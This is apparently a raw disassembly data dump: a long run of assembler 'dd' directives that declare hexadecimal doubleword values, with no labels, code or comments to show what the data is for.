dd 9DBB5ABDh, 9DC2DCDCh, 0DF80010Eh, 95C4875h, 14C855Eh dd 0B72D8C89h, 0DE693A59h, 0E82DD485h, 3CB277DEh, 4C017784h dd 4B959AFCh, 2D96CE2Ah, 0A87BBB49h, 0B36434Eh, 972DE6Eh dd 75FD0975h, 7E3386B9h, 0C62FA1A2h, 514ADE4Fh, 3512C200h dd 5F01BC0h, 0EEBB6672h, 17BEF8Ah, 0F4011C23h, 0A5CAF31Eh dd 1226E3FCh, 0BC59E955h, 99884EE1h, 2E9012FDh, 0D7D0BB38h dd 775BB4B7h, 78DC938Bh, 0F94A8BDBh, 0DA4FE4F7h, 9E50817Eh dd 26F8D205h, 55AFB060h, 0BFCCE231h, 0D5615BF2h, 0AED7C4D1h dd 0AB845DDEh, 90C4EA31h, 0B9BE571Bh, 972714E7h, 209670A0h dd 57A0F44Ah, 0C5939706h, 6490B22Fh, 4E89Ah, 23B6713Bh dd 4ED442CDh, 0D37AC00Ch, 30FEE3B5h, 0F80A5690h, 3EE16A5Bh dd 0FB93679Bh, 264AA086h, 0F4906ADFh, 0D67A1513h, 23495705h dd 4591DDBAh, 0D245B2B0h, 0E6D2EBECh, 6637B4F5h, 58C7CBB0h dd 48BF0566h, 9BD1FF5Eh, 0E4ADC066h, 0B82847A9h, 5C957178h dd 0D7829A27h, 0FE5E705Eh, 327E6D51h, 0C65E2DB4h, 0D4F75E6Bh dd 0CC92FC97h, 6E12CB7Ah, 35EB509Ah, 0C176348Dh, 60CA14Ch dd 52715984h, 0C8809A4Bh, 0A042C017h, 0E938AF32h, 82CBCB0Fh dd 25E72610h, 0AF52F160h, 5FE93356h, 36614D61h, 54BAF091h dd 69A800D4h, 0B4115C8Ah, 0D4905651h, 4A2F8920h, 408FF65Bh dd 1440798Ah, 404CBE90h, 0E7864B71h, 5BD5A101h, 0FB66681Ch dd 0E466C13Eh, 73AD2B16h, 220099B8h, 0FF3692F4h, 4B8A3FA6h dd 9FC2C4D9h, 2180C9DCh, 7137D2B0h, 0B452EAD5h, 53C45E31h dd 0FCD2C412h, 0C94AB6F3h, 57A86E9Dh, 0B26D9417h, 396C0E9Bh dd 0DC2C4034h, 7E083BDDh, 1DF80238h, 485BA135h, 435B8A57h dd 0A93C8389h, 51ED823Dh, 34EFFF1Fh, 0A2D11940h, 0B0AE00CBh dd 0A6F38184h, 564B6B9Dh, 5E0E59C2h, 84051BEh, 7D599Dh dd 91C2914Bh, 929004FDh, 0B0F871E4h, 0D2DE4B0Eh, 182D21A1h dd 558FF47Bh, 3580647h, 9435CEC0h, 2A2C15F0h, 89058255h dd 0CAD49185h, 0E86CA1AEh, 22B7758Dh, 0A4059D15h, 86BD618Bh dd 6A1D457Bh, 1C584B88h, 0FBE770h, 0F87BC5F7h, 9100AB57h dd 2B50985Bh, 12EB81FAh, 0EB7AF2E4h, 0FC81D02h, 49A66688h dd 0E584B183h, 4F31AF04h, 0BB00310Dh, 9564DA46h, 8B40A1D8h dd 1D9D09DEh, 85351462h, 0F7F8404h, 0D75A7840h, 0FD0E432Bh dd 60A03BF5h, 98BF7080h, 0DC02BFA4h, 0BA5EF94Ah, 0D7F39B3Eh dd 8951830Ch, 2815B50h, 0FDB50DBFh, 0B6492F66h, 0E0D05C29h dd 0F619BDEEh, 0E73B2200h, 6272341Ch, 20682D86h, 80144D1h dd 0D20A6C77h, 31B0302Fh, 0C4235B5h, 91161194h, 88EEE905h dd 32F9A520h, 4CB4CCA5h, 9529AB8Ah, 0DD0C3188h, 7FCA2B30h dd 0F714CB40h, 0B0F09B66h, 0B7011806h, 0B529519Dh, 0AD6B1065h dd 44204EC1h, 4021BBAh, 0F5B5073Bh, 0C3D3BC83h, 0AE4BB9F8h dd 25BD16D3h, 96C9E930h, 4228D86Bh, 0C9D301EDh, 0F953FCCFh dd 25FC2E5Bh, 80697DFDh, 689EBD65h, 2463E8A8h, 1A9AF7BBh dd 0C607C755h, 0A6745BE5h, 5156DB69h, 0D94889A4h, 0EB947B2Eh dd 955034D3h, 0BF730077h, 131D1EBCh, 0B537BD23h, 3562BF08h dd 0C2A05E2Ah, 9AD5820Fh, 738062D0h, 7C66ADC3h, 0B709AE90h dd 5D36DAA1h, 0AF27A584h, 6A2E9B2Dh, 480F0B91h, 4B175877h dd 0D3C7CE06h, 80A898E9h, 0F1B5010Bh, 923D381Ah, 5677D31h dd 9D2997D5h, 4BE2F9F1h, 4F27B58Ah, 6789F7BDh, 0F95719DFh dd 0BB72302Fh, 20098BEBh, 53E1FF70h, 0CEBD70FCh, 0E5E7BE25h dd 1F68113Ch, 0ADC0F1BFh, 1D852965h, 419C970Ch, 203F6B45h dd 0D7450D6Dh, 49183C00h, 1CAEBF96h, 0E284004Dh, 8D3DAC67h dd 94975E93h, 0ED6AEB4Ch, 0DEE80Ah, 0A57FA2FDh, 92E231A7h dd 38174448h, 703041E9h, 16512595h, 0A7141FF5h, 0DC535CB0h dd 1D503A16h, 0AED65FBCh, 0F1BC3F16h, 426EABD2h, 0EAAC9916h dd 1EDFCE02h, 0FF44FDF9h dd 4F01A738h, 0B4BC45E9h, 2529575Dh, 64EECD5Fh, 0D8A56016h dd 9532B002h, 8EBBCB98h, 2BBEBA18h, 4BF906Bh, 382CC713h dd 5F8DBB50h, 0AD90BE64h, 8205633Fh, 4959C29Ch, 0B54658D5h dd 27E0D24Dh, 0B757DF5h, 0F925FBEAh, 0FCC455h, 6FC39665h dd 0D513C852h, 0EF2F4509h, 76C5D7FFh, 0B82EBA00h, 1266246Fh dd 0FF618DBFh, 0B72B32CDh, 8BD00168h, 635F0B1Fh, 0D16DF93Ah dd 8C09001Ch, 0E5879DEBh, 0E4C218C7h, 6BB168D4h, 76258991h dd 0F3F30ADh, 0DE5F8A31h, 0B92F3BA1h, 9867B816h, 2D0920DFh dd 0E23CB725h, 703DDF36h, 4F974D81h, 0B0F115F5h, 963FFDF8h dd 20E908B7h, 95AA8917h, 12FCF818h, 3AF3CA4Ah, 0E9FE8A04h dd 8A9EBB86h, 9529FCC1h, 3A5DC265h, 0DEA1042Fh, 9DD398FBh dd 1CE254Bh, 0A0D6A65Fh, 5F9860h, 0C9BD1E56h, 0BFD78A12h dd 535CA409h, 0C407742Fh, 96444007h, 3997E74Ch, 0A6613C89h dd 6EA1EFBFh, 9CB421E6h, 0F800EB9Ah, 7175EAA7h, 179DCA8h dd 19EF815Dh, 2F72D288h, 75040313h, 0C0172DC5h, 50FAB050h dd 80DC78EDh, 29BBED7Eh, 0DCF2D3h, 4D6C90CBh, 7DAB23D4h dd 0E89F1B00h, 0E001C781h, 5F3C2575h, 0B382FFC6h, 68FD205Fh dd 5E7A4FB9h, 0B4B237Dh, 0FFA280EFh, 5B4BCB72h, 4C46D580h dd 0FC3BF965h, 26F74F18h, 94975E0h, 6A9CFC02h, 0D53223CDh dd 0B314E8C6h, 77E9E0h, 2BE260A3h, 5FF62Ch, 0BB3A4924h dd 0B757A4CCh, 5B302D16h, 78DA7282h, 0FDE2CB6Dh, 0ED5DC542h dd 6115643Eh, 9620A3C1h, 0B053D225h, 47B7F9B3h, 0D443AE5Dh dd 8D01B909h, 0B70258A1h, 46497653h, 0F78100DFh, 7C5DD6D2h dd 0BDB544E9h, 0A87DA71Bh, 0F918A377h, 973179EEh, 54F2F11Dh dd 0F4B5D47Fh, 0B3E6E542h, 0A1245037h, 1849325Eh, 42F671F8h dd 0E50A0553h, 1C912702h, 69E19623h, 0C0022740h, 0CFFB1EC5h dd 4C181A79h, 2BCAB100h, 0BF58DE94h, 19B3125Dh, 58D1E36Eh dd 72D52DC4h, 61B525F6h, 47D8A6DBh, 9EA9EFAh, 4998FBD5h dd 7B00C45Bh, 3A1CED59h, 96590h, 9D24F3A0h, 576C929Ah dd 544F190h, 83CD04BBh, 0B95B62A7h, 83E9D3EAh, 0A40B36A8h dd 0FF1D5DE1h, 21FD1B09h, 0CCF38059h, 9FFBB445h, 1702933Ah dd 7711B9BDh, 54498D51h, 6001D4A6h, 58225509h, 5C8A7896h dd 0F4D12A8Dh, 9F091646h, 675E4769h, 0F46DF5E9h, 0B11E0240h dd 0C7BD0BE4h, 0D85BEAAh, 1E4914Dh, 36F52E95h, 0B43AA67Eh dd 7F57B072h, 0BF03D359h, 0F7F923AFh, 0C6B5552Bh, 4C36ECA5h dd 3F07D3C4h, 52FAC9D5h, 20F46B26h, 85E87916h, 0EE220516h dd 0F6B60864h, 0BC0F90A0h, 0F9758497h, 91FB3BEh, 782F9DBBh dd 526F9F4Ah, 95207D61h, 0F5F5BF24h, 97F94930h, 3253A050h dd 0BFCD5EF5h, 5B440CB8h, 0EF33CC2h, 8A735FCEh, 0AE853D13h dd 23E46BAEh, 2FCC0616h, 0DF5C6A8Ch, 0D8A6602Eh, 1265BB50h dd 584C449Dh, 0E7976CEh, 9468599h, 877ABD18h, 0CF000B97h dd 0C2ED4045h, 99F6A82h, 44F259E4h, 18233FA2h, 4D745401h dd 0DCC696CCh, 3D3740CEh, 0A9FEC516h, 8E25716h, 212E9CBAh dd 8B407C96h, 0A30D64h, 0AB588DA0h, 0B4BA450h, 8A135F75h dd 0D66F96FCh, 0EB5E9913h, 26AA88h, 411B4F3Dh, 56D4EAA4h dd 257EB500h, 0E952B6CEh, 52AB853h, 7DD9D2DCh, 938CEE5Eh dd 406B004Fh, 77446EFh, 409A0A4h, 0D74BB565h, 5357336Ah dd 3539F856h, 3DE5A500h, 4E16544Ch, 0E09097B2h, 1B01CDD2h dd 0E1A0E7CFh, 0A93BC3C1h, 0CA76A9B3h, 9C4F680Eh, 71B9A040h dd 2C4FAB24h, 0EB4E4AF8h, 0CF087C52h, 0BB61130Ah, 5AB0D34h dd 0BB37F03Ah, 3080AE2Ah, 0C9DCEDAh, 2F8C8D0Bh, 65AE18CCh dd 0F7599FE4h, 0DDCB4707h, 0C1F97900h, 0B705772Bh, 46401856h dd 939B3Bh, 1250E9ACh, 0B60C2ABh, 0B54B3E04h, 63FC46D1h dd 81C40980h, 3B27FBA0h, 2DD07C5Bh, 0CE362290h, 10E14102h dd 7767C673h, 0B852065Bh, 12C0D998h, 8C20E5Fh, 0B38F02BEh dd 118C0ECFh, 38B58A4Bh, 0A8DE4F6Bh, 0BCE2E185h, 0CBF88180h dd 61CAFE6Ch, 5CF823A9h, 1BCE209h, 9BB94A35h, 2F25A749h dd 0F400D934h, 3B071D1Bh, 0F67AE1C6h, 0C0A7F295h, 9805FD07h dd 1E5D257Fh, 5DDAD8DEh, 2001A335h, 4D9DA96Ah, 0A472852Ah dd 0D54BBD1Dh, 31E92E04h, 9B5EDFBCh, 3EAC80DEh, 5B27D7E6h dd 794E8860h, 0E92CF495h, 2549447Fh, 0E4DA9589h, 0BD336117h dd 258B0EB4h, 0F4EEF8C1h, 0BBF3597h, 0D48B80F5h, 6AF0367Ah dd 0F4E666E1h, 850C85FFh, 38D2AF0Dh, 0FC6D7F6Ah, 0AE54A4E1h dd 26E33974h, 8284B02h, 0F8301FF9h, 0BB14F8A6h, 7FC2D0F7h dd 1A13855Eh, 10BCE584h, 71A6E4Fh, 4926FFB6h, 0DEAF17E0h dd 0C4A24FC1h, 0FBB0B07Eh, 0B2985D8Ah, 0DEB7B509h, 7A6A124Eh dd 5282048Dh, 0A3BA6A5Bh, 89BB3A30h, 0F733AB63h, 52435095h dd 54A691B5h, 37006B63h, 36307222h, 0D300064Dh, 0F75E8B01h dd 74969EC3h, 0FC8F5E76h, 0FA60CD3Dh, 8B22AC2h, 61143001h dd 49DD4B8Fh, 2A88679h, 626DF0BEh, 0FF61D13Eh, 0BCEF39D1h dd 1CF401D4h, 0DD9509B3h, 5B987A04h, 89DC00D8h, 936441DBh dd 400050C7h, 7A94679Ah, 1360143Fh, 0A236CC6Dh, 0BB968861h dd 59F1892Dh, 51086E24h, 0EBE072Dh, 611D0045h, 0B7B7026Ah dd 0F8770287h, 7A431B93h, 80F2D4C0h, 90B0F31Fh, 5F505BC9h dd 0DE31329Ah, 5B0ED4E6h, 38289F00h, 8ADFFEB1h, 77419772h dd 95AC9CD9h, 89121350h, 0E9C2FE85h, 80855161h, 0E8EE74BFh dd 80280F2Dh, 43F3751Bh, 0DAE0BF7Bh, 9C00DBBEh, 4062DC1Bh dd 1AEBA7Ch, 0F3E6815Fh, 707073F8h, 679769AAh, 13B0130Ch dd 0BC43B905h, 18104899h, 0D20EAD13h, 6E74DF58h, 4BAABDC5h dd 9DFC50E8h, 0C141BF63h, 0A97B4DD4h, 3F8FE8F3h, 5581103Ch dd 819D2BFFh, 0D08A6E15h, 736C6025h, 1E758D10h, 659D3104h dd 0D6610928h, 14A5088Fh, 0BD2B5305h, 59169FB9h, 0B8D6E961h dd 0D2058C19h, 0B79314D0h, 0EB8ACDFBh, 0B273EAFCh, 0E6AEBC34h dd 89F9A532h, 0E5C0AF92h, 0C46D9529h, 0B2FF6AEBh, 0E3F2001Eh dd 185F7AB4h, 7FA32D12h, 330B0D7h, 0B6A8B02Fh, 0EE02ADE3h dd 57521B25h, 828BDD4Eh, 54B52A22h, 0DCBC088h, 0B051F844h dd 0AD40C6A1h, 62975FADh, 100CDE4Dh, 0B7DD4027h, 0D8F5C725h dd 0BB530745h, 843BED59h, 2C97E95Bh, 5E6BFAF6h, 17DEADB1h dd 0E078F547h, 2151B501h, 0D88B63C6h, 9B819760h, 0C11499Dh dd 0C6BF2D66h, 1508457Ch, 0C87A2D0Ah, 0D403DF2h, 52C81E2Bh dd 0E0795223h, 0A9D5B2Ah, 30108F70h, 0FDAFE925h, 0F683FEABh dd 5F8A4C44h, 52119077h, 0B6F21683h, 80DBEC2Eh, 0C1CAA718h dd 54870096h, 9D84F6E3h, 6DF2B73Ah, 2725E69Fh, 72425F5Bh dd 7EA0EF18h, 0D5E76A03h, 907D3501h, 16DA781h, 344C1DF9h dd 3BBEC122h, 45A62B8Dh, 899D04B3h, 7DF80905h, 81023CECh dd 184853C7h, 15B13805h, 2572169Dh, 96F70F99h, 0D788823Ch dd 4995F1B9h, 14347A8Fh, 4E846CBDh, 8060016Fh, 2E20D7C7h dd 0CFB317C2h, 7A07B61h, 3EFD426Ch, 0A5D6CFF0h, 0B7494B38h dd 0ACB34D39h, 95C8C4BAh, 7EB9051Fh, 0BD31F041h, 643A09C9h dd 0AB6AAE87h, 0AE8A0212h, 1FCE4D0h, 9C94B8Dh, 8CD3F526h dd 3E191D51h, 57C2D9E8h, 0D3E8F335h, 0DE9DD22Bh, 59A9257Bh dd 0A9000D64h, 0EABE5BBFh, 0CAFDF6h, 3DDDD60Fh, 0E3C92CB4h dd 0F3042EB4h, 0E3AECCD7h dd 0F781C07Ch, 4F680A02h, 814EDB5Dh, 0B5D41F8Eh, 25142FF4h dd 1477BF90h, 0A9BB005Ch, 3ADEA6ECh, 6800DB6Ah, 4A64323Fh dd 243D5552h, 2D95F0FCh, 5D30897Fh, 0B5976266h, 97199181h dd 0BC254BCh, 0B868ADBDh, 9209E781h, 5D238C15h, 0BD6169C5h dd 0BC050625h, 97D51373h, 0AAE024A6h, 0C24E5946h, 5C25808Ah dd 0D26F404Fh, 76FF2009h, 1646D427h, 0C9CD080Ah, 21790997h dd 9E11776h, 927E69B5h, 8D82E1C3h, 0E7DD1BADh, 0B4D62DBAh dd 0DE81DE27h, 0D182384Bh, 51A274D9h, 51B61476h, 0CA58AF5Bh dd 0ED301198h, 9C082F1Dh, 60F88921h, 2DC3256h, 0F6139330h dd 50E2F774h, 7DEA89F5h, 7DABF963h, 37D7E19Ah, 1EF980CFh dd 0FE86E03Eh, 0DEB3C613h, 0B1E269A4h, 4D384FBh, 0C36AB8EEh dd 85A59D23h, 899CABBh, 2F2AD5B5h, 0F998907Dh, 8FBC027Bh dd 346C0959h, 60580057h, 0BB9E1B2h, 561BE54Eh, 0BE310A87h dd 7DB05AA3h, 905840C7h, 0DD5B8501h, 0DBFA7A95h, 9687C0AFh dd 0A7FF3Dh, 0FE33C1BBh, 9D8D891Bh, 0D8A30A5Bh, 47BB6682h dd 3A34435Dh, 0FBA65353h, 5C4C381Fh, 6488BB80h, 585851BAh dd 0E3B85AEAh, 4CDB5E0h, 302ED989h, 0F81BB34h, 897EF80Bh dd 0FC39FE85h, 0E9EE5007h, 0C10C027Ch, 72709777h, 0A22C6557h dd 60027FB9h, 16DD08D5h, 0D4C29CD1h, 2DABAA59h, 257DE410h dd 0E5E5C9A6h, 0FCC55D52h, 0AA378996h, 215F6391h, 0ECB557C2h dd 65801C91h, 4D5ACE41h, 89F1E995h, 0F0FCF66Bh, 27EDFE4Fh dd 0EBF4B529h, 3235F5A7h, 0E764C25h, 901FEAF1h, 0B04BFB22h dd 785A097Dh, 0B26D971Eh, 1C03E3C0h, 9600970h, 9A40A9BDh dd 117C8D31h, 295BAEBFh, 0F4950B52h, 8DC42D81h, 54304000h dd 4E82FE2Ah, 0A5F10B66h, 92F75B79h, 7B84F570h, 432DBA2Ah dd 95B0CC36h, 89002C74h, 0AD68668Bh, 0BFEDAA86h, 0BBC07B51h dd 69F38B2Dh, 4B5E123Dh, 7049AA40h, 0F643008Eh, 0CCB17624h dd 0DE2562DAh, 0B1FF061h, 12747D52h, 507892DBh, 84D94E56h dd 88E7BE94h, 0FDCC82A0h, 3091A1A0h, 0BC609080h, 17DF40E1h dd 0F625B1A0h, 0FF9A5D0Ah, 61CB7F60h, 0DFB0DEABh, 37BF905Fh dd 0EEDD0244h, 0BAD6A829h, 0ACA22113h, 0A0CDA6D2h, 1E49AD7h dd 7C1913ECh, 9E3F1BDDh, 96203162h, 0DE5E3F73h, 30C5C001h dd 9AFA723h, 0CE29CCAEh, 6065DBD1h, 86802BBCh, 0D7710A05h dd 41478800h, 4B1D9ED8h, 0F94002C2h, 0CFE7805Ah, 9123C557h dd 0E9935014h, 20AC284Ah, 5F47DC5h, 5C8BFD0h, 0FB83B7CAh dd 5CF923DAh, 0C505CA81h, 8D09C690h, 0EE0106B5h, 0AC730DB5h dd 947A8585h, 0E0ADE6D6h, 524FA22Dh, 4ECDCBD6h, 27B43E59h dd 9E6D4EB5h, 7FF5C481h, 0A5392h, 118CAEBFh, 8CA6494Bh dd 0D73219B2h, 6E654920h, 0A9B0EB80h, 7D61B525h, 1101F9BDh dd 66A7DEDDh, 0BD3C753Ch, 49DB1E2Dh, 16BD66AFh, 0D2999D29h dd 98F55114h, 0B766B35Ah, 3127CC5Ah, 0D26665B5h, 0A78B795Dh dd 97D637DEh, 2D6F4430h, 24EA984Fh, 18A666A6h, 0D119252Dh dd 0DD5C69FDh, 79A702D4h, 0B07F4706h, 5122737Fh, 2084C319h dd 16FB4977h, 0A0A79412h, 0D19F0D07h, 74BD472Ch, 9F5CE80Ch dd 7C3F4267h, 1DE0DC72h, 77F98B25h, 0EC2D9035h, 66CF09DBh dd 435F4F60h, 7DE9D433h, 7C8C1AACh, 90B40450h, 9226E61Fh dd 80011662h, 56AD72D3h, 1413785Ch, 10F9CABBh, 0C14B1FF9h dd 2A4CC74Bh, 16C8729Ah, 0C272D4C0h, 50DA278Ah, 37DD30DFh dd 0B59290E3h, 0F07BDD53h, 0F606C538h, 67B4268Eh, 95AC555Bh dd 0B12DB92Fh, 0E4EB9754h, 165E2D8Dh, 90A00AA7h, 620908B5h dd 0D1AF52F4h, 8E424BB6h, 7287DBD7h, 5A04CE5Dh, 4E4AAA89h dd 1F96C2F9h, 88CD08ECh, 317E970Fh, 49D6C8h, 963092F6h dd 0EEFFAEE0h, 0F279FB09h, 5A5B46A4h, 8E89C860h, 0E67FCD04h dd 0C2AF1486h, 95A48DEFh, 80A4A859h, 0A6E69FF9h, 0BE5E0EE0h dd 4AA05277h, 25A57566h, 37E36302h, 5D61D3F8h, 18919EB5h dd 0DE8DF680h, 0EBA38FD7h, 0BF6647FCh, 0BD2B74B0h, 0A71D4B7Dh dd 0DD8650DAh, 0D7B701EFh, 0B7F84448h, 0CE5A1BD3h, 47870EE9h dd 0DA006866h, 2C25843Eh, 0C5C590BFh, 7F5B122Eh, 88F1F264h dd 0AD78AD35h, 5C8A21E2h, 32F96BC3h, 756D6B01h, 46D0E25Ah dd 0C43E011Ah, 0E6EA6BCh, 0D1022F63h, 77799531h, 38015CD3h dd 50F6C7C9h, 0B4EEF77Eh, 7155DDCh, 0C9806460h, 44708BFFh dd 383C4BDh, 7DCB27A6h, 0C09F26FBh, 1B3EDB50h, 0B1B5BB00h dd 0E95F3486h, 0CB8B97F9h, 97DE6A7Eh, 50974CD6h, 0B73FC8EEh dd 8260C4C9h, 0FFF13B4Bh, 0C16BB18Eh, 3D86AB37h, 0C507F97h dd 5F46D981h, 0A917C00Ah, 6BFA616Fh, 63984A11h, 52CD6021h dd 907467C7h, 50EAB717h, 0FF10B3EDh, 13E91107h, 4F050D00h dd 8CE125F3h, 966C4300h, 0BD939A44h, 0D35A0BECh, 3A42CB15h dd 8370327Bh, 9473173Eh, 0F9780B46h, 3AAD9E76h, 51A84220h dd 48B70A87h, 91E0587h, 456FBB15h, 92C7E7Bh, 4F7192B1h dd 0ED97ED78h, 1D76C098h, 890406D3h, 838A46DDh, 953E87E2h dd 3500DEBEh, 0A28D7261h, 0A12D1B6Fh, 0C92D5EC1h, 60FC12FFh dd 0B511F5C1h, 56BF08C6h, 0D5C52586h, 14855A50h, 0B9A4DD87h dd 406B110h, 2A699D2Bh, 568E9CEFh, 0FF5B99C2h, 4FEE5ED1h dd 0CC6F00F6h, 4610F6Bh, 404E5400h, 5FB6C5A8h, 479325E4h dd 0A51A69E5h, 9F8FB73Fh, 6AD3C2A2h, 0C4572902h, 0C8504A7Ah dd 33002201h, 0FEF11163h, 9D441Fh, 28E58E7Ah, 9E2399BEh dd 0BF7B760Fh, 42208598h, 0FFBDC5BEh, 87C13A9Bh, 3A143895h dd 220E9A1h, 8A1621Dh, 82E5535Fh, 5040DB2Dh, 33034521h dd 0E9FF958Ch, 0AA1D4E07h, 38C42437h, 2483CEAEh, 75258E28h dd 8239D9B7h, 54D275D5h, 0E1215F0Ch, 6E236195h, 0CE419EDDh dd 9F3D0BD9h, 0B9BAB807h, 0C2385C04h, 0BB506101h, 3121A46Ch dd 0F080E63Bh, 25BD337Dh, 7AE522EDh, 6EFAF516h, 8FD94F46h dd 9D63607Eh, 597A9CFh, 74BB0E6Ah, 0ED0F296h, 0F1DB99h dd 0D28ED1CDh, 0FDFE25DFh, 6A6590F5h, 0F8564BFFh, 63A680DFh dd 956DA91Ah, 0D97C21Ch, 0F06F3D32h, 0A52FB537h, 0F4905C0Eh dd 0B24CF312h, 362258F6h, 23A4497h, 0C816B62Ah, 0B1FFAC77h dd 6F60A742h, 46B04DBEh, 1085D10h, 9D3170E6h, 0E23B093Dh dd 0C3810481h, 59BD5568h, 85C40138h, 0F42A992Dh, 2C465A23h dd 6A46BD07h, 0C620885Fh, 5CF6ABh, 9939BBDDh, 3B06E5E4h dd 10B5B0B0h, 1D4A15Ch, 0B6F15927h, 2F0D83A3h, 80C46717h dd 60CF63B8h, 90D1FA49h, 919D0182h, 2B610110h, 0A13689C8h dd 43DB7405h, 111A599Dh, 2399BE9h, 0B2369F0h, 2D1541D7h dd 77F18100h, 5EB13917h, 50850500h, 0B747554Ch, 356D1510h dd 0A65AF100h, 0B543232Ch, 0ED3BE739h, 98A25B7Dh, 0D0221D10h dd 0DB9D3EBEh, 654092B3h, 4CE925F8h, 12533A76h, 0F63335D0h dd 9F372247h, 0EA12351Bh, 0BFE82309h, 99EEC8A5h, 37BFF507h dd 0E5A0BEB4h, 243F07D5h, 14AFEFDBh, 0BC647695h, 4FCBAE45h dd 147ECC0Bh, 802D3757h, 0FD51FC2Ch, 2524624Bh, 6516967Ah dd 0BE5684FEh, 0BBC1DC9Bh, 3C0EBDD5h, 0CB81C0D3h, 5BE06C56h dd 0C497E964h, 37452135h, 123CF90Fh, 0F4E911A1h, 9F700CA9h dd 3273BC00h, 11929170h, 7848BBFCh, 7F0769E7h, 0FBAB5162h dd 4C25CF9h, 0B8EA39E3h, 0EDBB8043h, 3404516Bh, 0E1C5D22Bh dd 62F77E86h, 0AAE6F5h dd 9A821231h, 0F557C021h, 25919460h, 0B25F2F3Bh, 28F0D59Fh dd 57590997h, 2D3F16BDh, 0C2C809C1h, 9C4F5FEAh, 76BDE844h dd 0E3220CADh, 80659597h, 790CB960h, 94F1F24h, 0E84AD7E2h dd 2E7112D9h, 217AEAh, 31A16BFEh, 16B337D4h, 31697B34h dd 0E4CBA549h, 0C20045B6h, 0DC0282EAh, 2D53E55Bh, 0F30247D9h dd 9E5D1425h, 3F47450Fh, 3331DF35h, 4289DE8Bh, 0B75D2871h dd 84189176h, 4A82DF0Dh, 0FF4D909Dh, 250898E1h, 7AE71C61h dd 5F042E09h, 9807C23Dh, 0F92B0F88h, 0DAD02B2h, 825E0AABh dd 0ED6A1451h, 950BE8B5h, 0BD38934Ch, 98CE4BB9h, 0BF5CA934h dd 0B9C06E9Bh, 3ED73758h, 0B3217F04h, 14C069FEh, 0B982874h dd 60F98A24h, 70707773h, 0FBE200D0h, 0A20D7DFDh, 291248EFh dd 0F25699BDh, 0CE2F1401h, 162F0E45h, 0E0C0A6CFh, 2F7AD3F1h dd 0D97ECCE4h, 85E9BB60h, 0F7F60214h, 0D7381EEBh, 0A475DBC2h dd 3E85F4Dh, 59345B4Ch, 38E5B993h, 539F70EDh, 0E27A78E5h dd 8DFA4D0Eh, 6D2DA29Ah, 0A54C5CB7h, 12F4B47Ch, 0AF081407h dd 766D970Bh, 0FA4DEB1Fh, 72C75540h, 0AB3413E3h, 20DDAC9Ch dd 60500906h, 0C075D48Ah, 69E780EDh, 0E6FF6615h, 87411710h dd 9F7BC96h, 0DE5652B4h, 92B36284h, 0FA6D8157h, 31FD4DB7h dd 4E1EFD2Bh, 15AC91BDh, 0A7EA258Ch, 0CCBFFE6h, 0E969E149h dd 2C8EF87Ah, 0F568D70Bh, 5D022909h, 359FC396h, 0B9D1F9Dh dd 0B4740A7Fh, 414D8D58h, 136731Fh, 64D4DB81h, 0AD6B725Eh dd 84AF92CEh, 0F7CAEEC4h, 11271CA0h, 4295ED44h, 97425221h dd 0ABA491F6h, 5DFD3B16h, 0EAF5958Eh, 0BF465B76h, 8BA4D35h dd 81260A39h, 6DA4F812h, 16F125BDh, 49F59EEh, 9BFA1238h dd 80465C62h, 83FDD9B9h, 0AB4000C7h, 1F5B8E18h, 90BD0FDBh dd 9765889Dh, 8B5BE9B8h, 1EBFDFC7h, 0CC015F43h, 0A6E06981h dd 0B14827F5h, 68B72758h, 4E5720C2h, 1D3D3442h, 0D074B0D9h dd 7971C4B5h, 409200E1h, 0E3F93BCCh, 1F1CB685h, 838FA18Ch dd 1BA622C4h, 0BFE67F6Eh, 0EB19681Eh, 5C0A3E40h, 0E026691h dd 5EB3A9D8h, 0BEC62532h, 59842B9Bh, 0AC28BDF8h, 3B008C1Bh dd 53139E76h, 0B7B0E26Fh, 97AED098h, 0D0F9B602h, 7DF330F5h dd 0C1B0B9DAh, 0B0E2120h, 0E9B5095Fh, 2C9C02D2h, 0DC8A123Ah dd 0FDF5F7E8h, 26EDA83Ah, 39F72894h, 72A53005h, 2BC2F109h dd 0D60A5F28h, 2243E83Bh, 0F380121Eh, 0AE20F3E5h, 51163748h dd 25E29105h, 1382F0Fh, 25F8A18h, 77089953h, 39AD8C7h dd 0E6D3752Ah, 486A3570h, 95053AECh, 0F2FC12B3h, 5F220BF5h dd 0F2AB77B0h, 0EEF72D4Ah, 439EB4EDh, 71F19F61h, 0BB15C443h dd 2E7FB178h, 7CCD54Bh, 5BF1366h, 339AFBE9h, 32D6097h dd 68255B01h, 42DFCCBFh, 0BD107A8Eh, 960B2839h, 6E74DA8Bh dd 0C47D769h, 2E30FD25h, 0B79D965Bh, 0A1DB01D0h, 7B9D4901h dd 0E1C92FE0h, 0D1C58104h, 0F0E63A1Fh, 8A3016F2h, 1433486Fh dd 482A1910h, 4B5D3B7Ah, 19F2D1A6h, 3225532h, 7B7F30EDh dd 10B4F80Eh, 6D652C13h, 800207FFh, 0BD29A0EBh, 0B99722F5h dd 0F1D0BF42h, 0C9245886h, 0E6676404h, 0C22CBC2Fh, 0D48D0FFCh dd 0B45694C5h, 5F4B5D32h, 69E36D77h, 9F02DF7Bh, 75FFD3E4h dd 6D88C90h, 0F4057000h, 8149FD6Fh, 12E10B73h, 0E65C4D52h dd 5D131DE2h, 355DA832h, 393003Fh, 9ADBECCCh, 16736016h dd 78D97309h, 9A379572h, 0B22E2A01h, 0C1CA9C2Bh, 0F32909E4h dd 448F3604h, 0D37FBD25h, 0A5A038B6h, 9D73F208h, 3736DA09h dd 807F7975h, 0E8FDF9BBh, 5B9F6A43h, 0C2567837h, 9C471D09h dd 4EE059C7h, 9280428h, 3D30D120h, 6D5DB750h, 6BD8532Dh dd 5BEC0B14h, 0B6BD9620h, 38C1AACh, 0A8B9F941h, 0BAC54254h dd 0EFB11C16h, 0F4AEAC3Bh, 0EBE043F6h, 2102D3A6h, 660983BFh dd 1D97596h, 8DFE5313h, 0AFCCDF81h, 702173DDh, 2D897F08h dd 73D17585h, 2BEB5CBh, 0AC205E8Ah, 25C7FC60h, 17635A4h dd 81237D20h, 0B23B8592h, 85338F4Ch, 38BA2D69h, 9EAF5E3Ch dd 0E07850C0h, 0A6340230h, 0D381CE96h, 0BA209C3h, 93426E77h dd 0B75D58FFh, 1B489304h, 4AFAC6F8h, 81A7A9D5h, 5C9127BFh dd 0BF3D2E5Dh, 0CA85E3Dh, 0F79BE927h, 14BF7920h, 2EE5604Ch dd 64B74730h, 88E87790h, 0E6F84E24h, 0FF1AC101h, 0A70CCFBAh dd 1DF1E8h, 0D04FCCB4h, 66A8BBCBh, 2347D824h, 544BE20h dd 